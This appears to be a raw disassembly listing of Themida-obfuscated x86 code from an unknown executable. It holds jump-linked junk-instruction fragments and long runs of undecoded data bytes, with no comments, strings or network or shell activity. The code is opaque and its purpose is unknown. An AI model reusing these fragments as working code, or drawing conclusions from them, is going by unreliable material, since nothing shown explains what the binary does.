55FFFF14h dd 2D3C6851h, 0B7E97889h, 68FFFF68h, 0 dd 8B241429h, 0C4832414h, 73C28104h, 810C3246h, 5E614FE2h dd 51EA814Ch, 0E9679A36h, 1FE8h ; --------------------------------------------------------------------------- loc_56587C: ; CODE XREF: Themida_:00553F01j inc eax jmp loc_55DDC2 ; --------------------------------------------------------------------------- loc_565882: ; CODE XREF: Themida_:00555857j mov [esp], ebx jmp loc_56433F ; --------------------------------------------------------------------------- dw 1B68h dd 89000008h, 0D8882404h, 0FF6EB3E9h db 0FFh ; --------------------------------------------------------------------------- loc_565899: ; CODE XREF: Themida_:00552FEAj add esp, 4 push esi xor dword ptr [esp], 42F076F3h pop dword ptr [edx+38h] xor dword ptr [edx+38h], 42F076F3h mov esi, [esp] add esp, 4 loc_5658B7: ; CODE XREF: Themida_:loc_565CA6j push ebx jmp loc_5570B0 ; --------------------------------------------------------------------------- loc_5658BD: ; CODE XREF: Themida_:00566C77j push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] push edx jmp loc_566131 ; --------------------------------------------------------------------------- dw 0DDF7h dd 2ABAED81h, 0ED813A1Fh, 0B3DEBA42h, 2C8BEE01h, 4C48324h dd 4BF57h, 0FE010000h, 2434875Fh, 0E924248Bh, 0FFFECC75h dd 0E189515Bh, 4C181h, 0E9810000h, 4, 0E9240C87h, 0FFFEDAD7h ; --------------------------------------------------------------------------- loc_56591C: ; CODE XREF: Themida_:0056741Fj mov edi, 4 sub eax, 40484B8Eh add eax, edi add eax, 40484B8Eh pop edi xchg eax, [esp] pop esp push edx push ebp mov ebp, 66496DC5h shl ebp, 2 jmp loc_56496C ; --------------------------------------------------------------------------- loc_565941: ; CODE XREF: Themida_:005542EFj mov esp, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax sub esp, 4 jmp loc_554EF8 ; --------------------------------------------------------------------------- db 66h dd 55240C8Bh, 3CE168h, 24248900h, 4240481h, 8B000000h dd 8956242Ch, 4C681E6h, 81000000h, 4C6h, 24348700h, 0FFE254E9h dd 5FFE29FFh, 5C243487h, 0E9240489h, 0FFFF0473h, 58C2315Bh dd 6F4AC281h, 2A2DBD91h, 2953F856h, 562A05D0h, 8B5A53F8h dd 0C483241Ch, 0B0EB8104h, 812B4928h, 0B10239C3h, 68C3017Ch dd 3489h, 0FF3250E9h, 58C631FFh, 0E955D6F7h, 0FFFFEB2Ch ; --------------------------------------------------------------------------- loc_5659E0: ; CODE XREF: Themida_:0056110Cj push edx mov edx, 497F6194h xor ebx, edx pop edx add ebx, 4F346E80h push ecx push ebp mov ebp, 55D34E6Fh shr ebp, 5 not ebp jmp loc_555A1B ; --------------------------------------------------------------------------- loc_565A00: ; CODE XREF: Themida_:005610E6j add eax, ecx add eax, 29F2142Ch pop ecx add eax, 6C364125h push edx push esi mov esi, 34CD131Bh mov edx, 29C25A2Ch xor edx, esi pop esi sub edx, 40D011A6h neg edx jmp loc_55CA42 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 4B8505Ch, 1000000h, 0C58358C5h, 0DEF5E904h, 0EE81FFFFh dd 0BB0DA09h, 875EF189h, 0B85052E9h, 2D97073Bh, 0FEF0A7E9h dd 243C8BFFh, 4C481h, 34FF0000h, 2434FF24h, 4C4835Bh, 0FF0D90E9h dd 241487FFh, 0E924248Bh, 0FFFFB0C9h, 0E924348Bh, 0A38h dd 0DA6749B9h, 0A9C4E93Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565A8A: ; CODE XREF: Themida_:005673CFj xchg edx, [esp] pop esp mov [esp], ecx push edi mov edi, 5D840C5Bh jmp loc_56529A ; --------------------------------------------------------------------------- loc_565A9C: ; CODE XREF: Themida_:00553158j mov [esp], ebp mov ebp, 7E5960CEh jmp loc_55F304 ; --------------------------------------------------------------------------- loc_565AA9: ; CODE XREF: Themida_:0056284Fj jmp loc_552579 ; --------------------------------------------------------------------------- dw 574Fh dd 0FF0B3BE9h db 0FFh ; --------------------------------------------------------------------------- loc_565AB5: ; CODE XREF: Themida_:00561FD8j pop edx push edx mov edx, 2C10522Fh add edi, edx pop edx shr edi, 4 push edx jmp loc_560133 ; --------------------------------------------------------------------------- dd 8B243C33h, 2CD22424h, 3EE99C24h, 81FFFF3Ch, 4C5h, 0E2895200h dd 4C281h, 0BD550000h, 4, 0FF5AA0E9h, 243433FFh, 33243431h dd 248B2434h, 0D3EB8124h, 0E90BB25Dh, 0FFFFDEF6h ; --------------------------------------------------------------------------- loc_565B08: ; CODE XREF: Themida_:00560EBBj mov ecx, 4 add ebx, ecx pop ecx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp shl eax, cl push 11A7h jmp loc_55C56B ; --------------------------------------------------------------------------- dw 0B9B7h dd 84E9F8B0h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565B2F: ; CODE XREF: Themida_:0055EE8Aj add eax, edx add eax, 4054357Dh pop edx and ebp, eax pop eax jmp loc_5535E1 ; --------------------------------------------------------------------------- db 1 dd 1C335EF3h, 49BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565B4A: ; CODE XREF: Themida_:00561E94j mov edi, 28C5807h add [esp+8], edi pop edi add dword ptr [esp+4], 28DA0E9Eh add dword ptr [esp+4], 23843D68h mov edi, [esp] add esp, 4 pop dword ptr [edi+24h] jmp loc_55D2BF ; --------------------------------------------------------------------------- loc_565B72: ; CODE XREF: Themida_:0055901Aj sub eax, esi pop esi jmp loc_5623E2 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835824h, 8B545704h, 0C483243Ch, 4EC8104h, 0E9000000h dd 0FFFFC3BFh, 0D47BB53h, 0D801288Bh, 0FEF1E6E9h, 0E9FD01FFh dd 0FFFF3FCFh, 0E9240C87h, 0FFFFCCB3h, 4C281h, 0FF520000h dd 5A042474h, 5C24048Fh, 0FF2434FFh, 0E9582434h, 0FFFF1D4Bh dd 0FF2434FFh, 83592434h, 3C8904ECh, 815F5424h, 4C7h, 3EBD5500h dd 0F77E5A2Ah, 0D8CD81D5h, 81458C53h, 6F13ABE5h, 5BE5812Dh dd 0E97B0F17h, 0FFFF9F64h, 24048B66h, 0FF3517E9h db 0FFh ; --------------------------------------------------------------------------- loc_565C09: ; CODE XREF: Themida_:0055B477j push esp jmp loc_564C2B ; --------------------------------------------------------------------------- db 29h dd 381EE9D3h, 0E089FFFFh, 405h, 4C08300h, 31240433h, 0F9E92404h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565C2B: ; CODE XREF: Themida_:00564D0Cj sub edi, 4 jmp loc_55D3B0 ; --------------------------------------------------------------------------- db 83h dd 24E904ECh, 0BDFFFEF2h, 45526E80h, 299AED81h, 0DD31569Eh dd 0DD31EB31h, 0DD87DBF7h, 0C4C58145h, 8110252Fh, 0C171CBCDh dd 29C58132h, 0E9DB3C47h, 0FFFFF174h ; --------------------------------------------------------------------------- loc_565C68: ; CODE XREF: Themida_:0055AF1Dj jmp loc_552579 ; --------------------------------------------------------------------------- loc_565C6D: ; CODE XREF: Themida_:0055D27Dj pop eax xchg ecx, [esp] mov esp, [esp] jmp loc_56284C ; --------------------------------------------------------------------------- db 0B1h, 65h, 52h dd 4EC81h, 0DDE90000h, 100001Ah, 0C012E9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565C8E: ; CODE XREF: Themida_:00561398j add ecx, 1 jmp loc_55FCAA ; --------------------------------------------------------------------------- dw 4242h dd 5958F281h, 0D68952F5h, 0CC0CE95Ah db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565CA6: ; CODE XREF: Themida_:0055DDDBj jz loc_5658B7 push esp push dword ptr [esp] mov esi, [esp] jmp loc_561467 ; --------------------------------------------------------------------------- loc_565CB8: ; CODE XREF: Themida_:0055E296j pop edx add [eax], ebx pop eax push dword ptr [esp] pop ebx add esp, 4 loc_565CC3: ; CODE XREF: Themida_:00563770j sub esp, 4 mov [esp], esi push ecx mov ecx, ebx push edi jmp loc_55B2FD ; --------------------------------------------------------------------------- db 31h, 0D8h, 0E9h dd 0FFFF84FCh, 0F180C1FEh, 33F18093h, 0FFB563E9h, 0B25266FFh dd 0D5D4E94Ch, 0F381FFFFh, 0C000128h, 0FFB192E9h, 4C183FFh dd 8B240C87h, 82E92424h, 5BFFFFB4h, 56C3C781h, 0C7812816h dd 569741EFh, 0EF81EF01h, 569741EFh, 56C3EF81h, 34FF2816h dd 25CCE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565D2E: ; CODE XREF: Themida_:00558639j mov [esp], edi push 25E5h mov [esp], edx mov edx, 0BBA7E23h mov edi, edx mov edx, [esp] add esp, 4 xor ebx, edi jmp loc_563F8D ; --------------------------------------------------------------------------- loc_565D4D: ; CODE XREF: Themida_:0055702Aj sub ebp, ebx jmp loc_564BE2 ; --------------------------------------------------------------------------- dd 6866C388h, 89664CEBh, 0EC812414h, 4, 0FEF462E9h db 0FFh ; --------------------------------------------------------------------------- loc_565D69: ; CODE XREF: Themida_:0055D4B2j push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5553BE ; --------------------------------------------------------------------------- dd 24042966h, 0C7EBE99Ch, 0B551FFFEh, 0B5C580C3h, 8005E5C0h dd 0E5C0C0C5h, 94F58002h, 2859EE28h, 94C680E6h, 0FEF8EEE9h dd 5BDD01FFh, 5F68F501h, 8900007Ah, 8FB82404h, 0E92AA71Ah dd 0FFFF71A6h ; --------------------------------------------------------------------------- loc_565DC4: ; CODE XREF: Themida_:005553E0j sub cl, bl jmp loc_55EB68 ; --------------------------------------------------------------------------- db 1 dd 0FAB8E9EFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565DD2: ; CODE XREF: Themida_:00566EC5j pop esp mov [esp], esi push 725C2578h pop esi sub esp, 4 mov [esp], edi push ecx mov ecx, 1A2D4170h sub ecx, 0DF52272h push ebx mov ebx, ecx mov edi, ebx pop ebx mov ecx, [esp] add esp, 4 sub eax, edi jmp loc_560CD4 ; --------------------------------------------------------------------------- dd 0FA10E956h, 0EC83FFFEh, 242C8904h, 0F7243C87h, 243C87D7h dd 0FF2720E9h, 243489FFh, 0BD55E689h, 50BC55A9h, 0C13BF57h dd 0FD091617h, 0FEFA6EE9h db 0FFh ; --------------------------------------------------------------------------- loc_565E35: ; CODE XREF: Themida_:0055A6EEj shl eax, 3 not eax push ebp mov ebp, 323549F1h xor ebp, 0F831946Fh sub eax, ebp jmp loc_564BF9 ; --------------------------------------------------------------------------- loc_565E4D: ; CODE XREF: Themida_:005583C2j mov ebx, 4 sub ecx, 34C3145h jmp loc_560E70 ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 0FF9467E9h db 0FFh ; --------------------------------------------------------------------------- loc_565E65: ; CODE XREF: Themida_:0056424Dj pop edx add edx, 4 sub esp, 4 mov [esp], ebx push edi push 3A5731B3h pop edi sub edi, 0C0DAF680h jmp loc_557D5B ; --------------------------------------------------------------------------- loc_565E84: ; CODE XREF: Themida_:00555D48j add esi, 0C9F3D581h mov ebx, esi pop esi sub ebp, ebx pop ebx add ebp, 1A0746D3h shl ebp, 6 xor ebp, 5031606Fh jmp loc_566CDA ; --------------------------------------------------------------------------- loc_565EA4: ; CODE XREF: Themida_:00559F98j add cl, dl pop edx xor cl, bl xor bl, cl xor cl, bl sub esp, 2 mov [esp], bx not byte ptr [esp] jmp loc_557A72 ; --------------------------------------------------------------------------- loc_565EBC: ; CODE XREF: Themida_:005637B2j and eax, edx mov edx, [esp] add esp, 4 or eax, eax jnz loc_567A77 push 0B9Ah mov [esp], eax jmp loc_55835F ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 6 dd 0CC52F281h, 79E931F0h, 81FFFF62h, 0AB0585C2h, 9E50E934h dd 875FFFFFh, 8F5C241Ch, 248B2404h, 241C8924h, 0FFFBFFBBh dd 1C5F21FFh, 8B2434FFh, 14E9241Ch, 5C000019h, 55242489h dd 4BDh, 398CE900h, 1C8BFFFFh, 4C48324h, 2474FF51h, 240C8B04h dd 81E28952h, 4C2h, 573FE900h, 0BE56FFFFh, 3BFB6381h, 49C83BDh dd 5EF501C4h, 4246C81h, 1A32694h, 4244481h, 13F10DB0h dd 4246C01h, 4246C81h, 13F10DB0h, 2694BB53h, 5C0101A3h dd 0E95B0824h, 0FFFF7D71h ; --------------------------------------------------------------------------- loc_565F78: ; CODE XREF: Themida_:00567276j add ebp, edx pop edx and ecx, ebp jmp loc_564247 ; --------------------------------------------------------------------------- dw 0C15Eh dd 5DE906E7h db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565F8B: ; CODE XREF: Themida_:0055BFA6j add esp, 4 sub esp, 4 mov [esp], ebp push 5FA7h mov [esp], ecx jmp loc_563902 ; --------------------------------------------------------------------------- db 0ADh dd 0FF5B0CE9h, 39368FFh, 4A5A3035h, 0E2D1EA81h, 0D0891669h dd 2DD8F75Ah, 0DBE99844h, 0FFF32DE9h db 0FFh ; --------------------------------------------------------------------------- loc_565FC9: ; CODE XREF: Themida_:0055A55Dj push eax jmp loc_55AFEE ; --------------------------------------------------------------------------- db 59h dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FF50A1E9h, 241C31FFh dd 5C241C33h, 36EABE56h, 0EC833787h, 0F0C9E904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565FFA: ; CODE XREF: Themida_:0055289Aj mov edi, 0ACB0733h xor edi, 46731203h xor edx, edi pop edi shl edx, 6 add edx, 163153E6h shr edx, 4 add edx, 65D44A8h or eax, edx jmp loc_56030C ; --------------------------------------------------------------------------- db 81h, 0C7h, 0AFh dd 0E92D0D78h, 0FFFF4A52h, 262D68h, 24048900h, 1B8h, 58C22900h dd 0FFCEC8E9h db 0FFh ; --------------------------------------------------------------------------- loc_566041: ; CODE XREF: Themida_:0055C2B1j neg ebp inc ebp shl ebp, 7 add ebp, 2D226815h add esi, ebp pop ebp jmp loc_559E76 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0 dd 0FF75E251h, 55592434h, 52B0E954h, 8B66FFFFh, 0E955240Ch dd 0FFFFD81Ah, 5B1BFB05h, 0BB535E7Eh, 4, 5516512Dh, 1EDE92Dh dd 882DFFFFh, 5156B930h, 0C90C9CB9h, 2D11050Dh, 0C8291DD2h dd 2E6DBB53h, 0EB814C09h, 2E37015Ch, 0E95BD829h, 0FFFF3605h dd 740868h, 24248900h, 4240481h, 5F000000h, 6606BA52h dd 0D2F75FF9h, 0FF1F19E9h db 0FFh ; --------------------------------------------------------------------------- loc_5660C9: ; CODE XREF: Themida_:0055E5A6j sub eax, esi jmp loc_559B38 ; --------------------------------------------------------------------------- dd 0C981D9F7h, 5E1B5B08h, 8108E9C1h, 35CEBF1h, 0E9CE8943h dd 0FFFECC15h, 0E9243C89h, 0FFFF7EFEh ; --------------------------------------------------------------------------- loc_5660F0: ; CODE XREF: Themida_:0055D796j inc dl neg dl sub dl, 8Fh sub dl, 0D4h xor ah, dl pop edx shl ah, 5 shr ah, 8 inc ah or ah, 55h sub ah, 0B6h jmp loc_559CDC ; --------------------------------------------------------------------------- loc_566110: ; CODE XREF: Themida_:0055EE80j push ebx mov ebx, 4 add edx, ebx mov ebx, [esp] add esp, 4 jmp loc_564680 ; --------------------------------------------------------------------------- loc_566123: ; CODE XREF: Themida_:00564106j sub edx, 1 sub esp, 4 jmp loc_55565A ; --------------------------------------------------------------------------- loc_566131: ; CODE XREF: Themida_:005658D5j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_564B3B ; --------------------------------------------------------------------------- db 32h dd 30012474h, 0FF012474h, 65E92434h, 89FFFECCh, 0F7B1240Ch dd 5159CB08h, 0C181E189h, 4, 0FF384AE9h, 0C4835BFFh, 5E545604h dd 2EEDBF57h, 0F78121BAh, 21BA2EE9h, 2FCEC681h, 0FE013AA0h dd 2FCEEE81h, 515F3AA0h, 0E904EC83h, 0FFFEDEFDh, 3C74E781h dd 0CF816BD2h, 0F4875A6h, 0E708E953h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5661AA: ; CODE XREF: Themida_:00556AC3j push 24h pop edx add edx, edi jmp loc_55813D ; --------------------------------------------------------------------------- loc_5661B7: ; CODE XREF: Themida_:005621F8j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_566A30 ; --------------------------------------------------------------------------- dd 52241489h, 0FFD472E9h, 0EC8352FFh, 24348904h, 80441BBEh dd 96B85046h, 0F7441E50h, 0FAE993D8h, 87FFFFA4h, 815C240Ch dd 1C1h, 1C18300h, 5FF7E981h, 292D32EDh, 2920943Bh, 0CE7E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56620A: ; CODE XREF: Themida_:0055DB7Bj add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_560350 ; --------------------------------------------------------------------------- loc_566218: ; CODE XREF: Themida_:0055AAD6j xor eax, 608723BBh xchg eax, ebx not ebx xchg eax, ebx push edi mov edi, 47A30765h xor eax, edi pop edi xor eax, 27853F46h or ebp, eax jmp loc_5579A8 ; --------------------------------------------------------------------------- loc_566236: ; CODE XREF: Themida_:00559D46j xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], eax push 4936h jmp loc_5564E0 ; --------------------------------------------------------------------------- loc_56624D: ; CODE XREF: Themida_:005531D5j or ebp, eax push dword ptr [esp] pop eax add esp, 4 sub ebp, 71737ED6h add ebp, 3CF8054Fh xor eax, ebp mov ebp, [esp] jmp loc_55A482 ; --------------------------------------------------------------------------- loc_56626C: ; CODE XREF: Themida_:0055DC4Aj push esi mov esi, 4BBE6B30h and esi, 41F57AE9h sub esi, 0B527B43h or esi, 1E4852C9h push ecx mov ecx, 7FAA64E1h shl ecx, 5 sub ecx, 8A2E200Eh xor esi, ecx pop ecx sub esi, 0EB534FF6h mov edx, esi pop esi jmp loc_552DAE ; --------------------------------------------------------------------------- dd 5C240C87h, 426368h, 241C8900h, 0E956E389h, 532h, 0B951ADh dd 5238B268h, 0FF29D2BAh, 0E9D0290Dh, 0FFFFB74Dh, 4C481h dd 50510000h, 0D23B73B8h, 2ECD2511h, 49E97DBEh, 55FFFF40h dd 0CF85E954h, 6468FFFFh, 8900001Ah, 6568243Ch, 5F2B3105h dd 0D9268h, 241C8900h, 99296EBBh, 0E9DF296Eh, 0FFFFD6CAh ; --------------------------------------------------------------------------- loc_56630C: ; CODE XREF: Themida_:00555849j sub esi, 206F3A48h mov edx, [esp] add esp, 4 and ecx, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 shr ecx, 0Ah sub esp, 4 mov [esp], ebp mov ebp, ebx push ebp mov eax, [esp] add esp, 4 push dword ptr [esp] pop ebp push edi push esp mov edi, [esp] add esp, 4 push ebx mov ebx, 5E0578B6h jmp loc_5648CC ; --------------------------------------------------------------------------- db 81h dd 0BAF3D0C6h, 0E9F00119h, 4EBh, 240C8766h, 66D1F766h dd 66240C87h, 6656665Eh, 22474FFh, 24348B66h, 47D268h dd 24048900h, 24048B54h, 4C481h, 0B9510000h, 4, 0C8BC801h dd 4C48124h, 0E9000000h, 139h, 4240483h, 0FEECFDE9h, 0C4835FFFh dd 261E6804h, 77E90000h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5663BF: ; CODE XREF: Themida_:00560A96j pop edx add esp, 4 and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 or edx, eax shl edx, 1 push 4776h mov [esp], ebx push 7BCFh jmp loc_55ACC8 ; --------------------------------------------------------------------------- dw 815Fh dd 3B3BCFE7h, 53D7F70Eh, 143D9EBBh, 7B3FE937h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5663FE: ; CODE XREF: Themida_:00554730j push dword ptr [esp] jmp loc_55414A ; --------------------------------------------------------------------------- loc_566406: ; CODE XREF: Themida_:00554896j mov esi, 61656BCEh or ebp, esi jmp loc_563BFF ; --------------------------------------------------------------------------- dw 3C89h dd 4B91BF24h, 0F9015E85h, 83243C8Bh, 0E18104C4h, 72361EB6h dd 2E0468h, 241C8900h, 574713BBh, 0FFD9014Ch, 835B2434h dd 505204C4h, 7E675B68h, 67E95803h, 81FFFF22h, 0C042444h dd 0E95A6920h, 0FFFF2375h, 0C722E951h, 0D8F7FFFEh, 0C1D0F740h dd 366802E0h, 89000037h, 1C312404h, 0D231E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566476: ; CODE XREF: Themida_:00556AE9j pop ecx pop edx add edi, 209D419Ah add edi, 16681CD3h add edi, eax push 6B1Eh mov [esp], edx mov edx, 16681CD3h sub edi, edx jmp loc_5600D0 ; --------------------------------------------------------------------------- dw 0EC28h dd 0FF5585E9h db 0FFh ; --------------------------------------------------------------------------- loc_5664A1: ; CODE XREF: Themida_:00561E01j mov esi, esp sub esp, 4 mov [esp], ebp jmp loc_5570BF ; --------------------------------------------------------------------------- dw 0C601h dd 0E92434FFh, 0FFFFB5D2h, 4C481h, 0CCE90000h, 5A00000Ah dd 8096C780h, 0F78001EFh, 95EF807Eh, 0FF3F39E9h, 0BA525AFFh dd 121F3660h, 0FED2ECE9h, 2C083FFh, 8904EC83h, 74FF2404h dd 8F580424h, 665C2404h, 0E924048Fh, 0FFFEC07Dh ; --------------------------------------------------------------------------- loc_5664FC: ; CODE XREF: Themida_:0055E11Bj push esi mov esi, 17C94587h sub esi, 86E2E65h and ebx, esi pop esi or ebx, 53D63926h or ebx, 33015617h and ebx, 6EED2602h sub ebx, 66CD25FEh add edx, ebx pop ebx add edx, 4 xchg edx, [esp] mov esp, [esp] add eax, 12EC7339h push edi jmp loc_55C4AD ; --------------------------------------------------------------------------- dw 3AE9h dd 0FFFFFEC0h, 0C033E932h, 1168FFFEh, 89000074h, 5BBB241Ch dd 0F750430Bh, 0E9DBF7DBh, 0FFFF4A22h, 240C8B66h, 0E904EC83h dd 0FFFEE780h, 223E581h, 0C5810E8Dh, 0F1FAFE01h, 515DEA01h dd 386E18B9h, 27F1814Ch, 5351D25Fh, 0FF8D02E9h, 83D1F7FFh dd 7FE904ECh, 51FFFFFEh, 0C90BD2B9h, 59CB2965h, 0FFEBACE9h db 0FFh ; --------------------------------------------------------------------------- loc_5665A1: ; CODE XREF: Themida_:00558FAFj mov edi, 39D5246Ah add edi, 0F6ED3EB4h sub ebp, 2D064140h add ebp, edi push ecx mov ecx, 7CA65A9Dh sub ecx, 1A736263h neg ecx jmp loc_563893 ; --------------------------------------------------------------------------- db 81h dd 0AFA6B6C2h, 0E9D631E4h, 0FFFFCF29h ; --------------------------------------------------------------------------- loc_5665D4: ; CODE XREF: Themida_:00560A8Ej sub [esp+4], ebx pop ebx push dword ptr [esp] mov eax, [esp] push eax mov eax, esp add eax, 4 jmp loc_567B6B ; --------------------------------------------------------------------------- dd 2904C483h, 24048BC1h, 8104C483h, 2E07BFC1h, 0DBA521Ch dd 42360803h, 0E94BDA87h, 0E18h ; --------------------------------------------------------------------------- loc_56660C: ; CODE XREF: Themida_:005656D6j xor [esp], esi xor esi, [esp] pop esp jmp loc_561656 ; --------------------------------------------------------------------------- dd 8904EC83h, 4832424h, 48F0424h, 7A726824h, 3C890000h dd 171EE924h, 0F66FFFFh, 9C2404B3h, 0FEBF3CE9h db 0FFh ; --------------------------------------------------------------------------- loc_56663D: ; CODE XREF: Themida_:0055E655j neg eax xor eax, 20AF11AFh jmp loc_55F798 ; --------------------------------------------------------------------------- loc_566649: ; CODE XREF: Themida_:0056747Dj xchg ecx, [esp] pop esp or ecx, 26A260DFh sub ecx, 23A645C6h add ecx, 0B3FFDDCBh add eax, 62CE372Eh add eax, ecx sub eax, 62CE372Eh mov ecx, [esp] jmp loc_55E883 ; --------------------------------------------------------------------------- db 68h dd 4C816BA7h, 8124048Bh, 4C4h, 73CD0500h, 14357C43h, 89858CFEh dd 0F33158C6h, 5BDD015Eh, 0ACE95052h db 0E4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56669B: ; CODE XREF: Themida_:00558AAEj mov [esp], ecx push esp pop ecx sub esp, 4 mov [esp], esi push ecx push ebx jmp loc_558895 ; --------------------------------------------------------------------------- db 1, 0EFh, 8Bh dd 0C483242Ch, 0FFFD2104h, 835F2434h, 0C58104C4h, 0BCE9290Ch dd 815DEF21h, 200163F7h, 32BF571Ch, 16FD703h, 0FD015FFDh dd 332B951h, 0F6E96FD7h, 0FFFFFF77h, 54E92434h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5666EB: ; CODE XREF: Themida_:0056326Aj mov edi, 72844F7Fh jmp loc_559168 ; --------------------------------------------------------------------------- db 53h, 0E9h, 6 db 0D3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5666FB: ; CODE XREF: Themida_:00558E6Dj xor ebx, eax push 64A7h mov [esp], eax jmp loc_552579 ; --------------------------------------------------------------------------- dw 54F6h dd 0FE580124h, 51DCF6C4h, 0E5C069B5h, 0CFED8004h, 0E946ED80h dd 0FFFFFD76h, 0B20CD4BFh, 2EEA8169h, 0E922F755h, 0FFFFD613h dd 0EA81DA29h, 6F0E7A6Ah, 57ABBF57h, 0BA523247h, 2A351D82h dd 5CB8F281h, 0D7293345h, 0FEEF815Ah, 4F503060h, 0FFBBE2E9h dd 34FF54FFh, 0E9515924h, 0FFFEF928h ; --------------------------------------------------------------------------- loc_566768: ; CODE XREF: Themida_:0055C55Ej mov ecx, 588D6E5Dh jmp loc_55872B ; --------------------------------------------------------------------------- loc_566772: ; CODE XREF: Themida_:00559820j mov [esp], edi push 490Ch mov [esp], ebp jmp loc_552E3F ; --------------------------------------------------------------------------- dw 1C89h dd 4EC8324h, 0FF8C9BE9h, 5AF108FFh, 0FF99AFE9h, 0D4E95AFFh db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56679B: ; CODE XREF: Themida_:0055DDC9j pop eax sub ebx, ebp jmp loc_5641C3 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 31241433h, 10E92414h, 5EFFFEC8h, 0FF6849E9h db 0FFh ; --------------------------------------------------------------------------- loc_5667BD: ; CODE XREF: Themida_:0055CEB9j push eax jmp loc_5547E0 ; --------------------------------------------------------------------------- db 81h dd 303983EAh, 14875E09h, 7668E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5667D2: ; CODE XREF: Themida_:00557A74j xchg bl, cl and cl, 3Ch push ebx sub esp, 4 mov [esp], eax mov al, 6Dh add al, 44h jmp loc_55446A ; --------------------------------------------------------------------------- dw 5DBEh dd 4E1C8F23h, 0FF0A8CE9h, 805A66FFh, 0B551BDEFh, 8399E9F3h dd 1C87FFFFh, 0CE6BE924h, 8B66FFFEh, 56502404h, 0FF9CF4E9h db 0FFh ; --------------------------------------------------------------------------- loc_566815: ; CODE XREF: Themida_:005541B8j push edi push edx mov edx, 50484C2Fh jmp loc_5544B4 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FF2ED2E9h, 6F82BEFFh, 0B4BB67E6h, 310F9522h, 81535EF3h dd 56DB242Ch, 815D793Fh, 3F56DBC5h, 241C8B79h, 4C481h dd 0D6E90000h, 5EFFFEFBh, 912DF001h, 5E440752h, 405h, 0F26800h dd 4890000h, 2474FF24h, 8D4CE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566872: ; CODE XREF: Themida_:00557D94j mov [esp], esi push dword ptr [esp] jmp loc_555603 ; --------------------------------------------------------------------------- loc_56687D: ; CODE XREF: Themida_:0055B89Ej mov [esp], esi push ecx mov ecx, 17FA3A33h sub [esp+4], ecx pop ecx pop edi add edi, 17FA3A33h pop esi jmp loc_5624D0 ; --------------------------------------------------------------------------- dd 8104C383h, 4ECh, 241C8900h, 42474FFh, 0FEFBC7E9h, 0DEE958FFh dd 87FFFFB0h, 835C2434h, 248904ECh, 24048124h, 4, 0FF9293E9h dd 58BA52FFh, 51554675h, 1A38B850h, 0F1E92E1Fh db 0C1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5668DB: ; CODE XREF: Themida_:005584DFj and edx, 5DB52DC6h add edx, 0FD462A0h jmp loc_561C4D ; --------------------------------------------------------------------------- dd 2EE9D7F7h, 58FFFF19h, 0FF8AB9E9h, 243C33FFh, 33243C31h dd 248B243Ch, 0BC6FE924h, 0F329FFFEh, 0C3EC381h, 0B85056A8h dd 6604064Eh, 96E9C329h, 58FFFFB2h, 0B9FBE952h, 0B951FFFFh dd 50543ED1h, 5359CB31h, 241C8B5Fh, 4C481h, 41E90000h db 16h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56693F: ; CODE XREF: Themida_:00556DD4j add eax, ecx pop ecx push edx push edi push 35194B85h pop edi jmp loc_565693 ; --------------------------------------------------------------------------- db 2Dh dd 1C996438h, 0BC040540h, 0C389834Dh, 0D0FAE958h, 0FF53FFFFh dd 5B042474h, 5B0E9h db 0 ; --------------------------------------------------------------------------- loc_56696D: ; CODE XREF: Themida_:005624D5j sub edx, 22297353h add edx, edi add edx, 22297353h jmp loc_567044 ; --------------------------------------------------------------------------- dd 240C8B66h, 0FFC269E9h, 88FA88FFh, 505B5AD1h, 53CA8852h dd 0DC88D388h, 97E95A5Bh, 45FFFFBDh, 0EF3FC581h, 0EB29C3DEh dd 81242C8Bh, 4C4h, 241C8700h, 6624248Bh, 0E9241C89h, 0FFFF291Fh dd 0BF243C89h, 3AF33B39h, 5608E7C1h, 74BC6857h, 0AEE90B80h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- 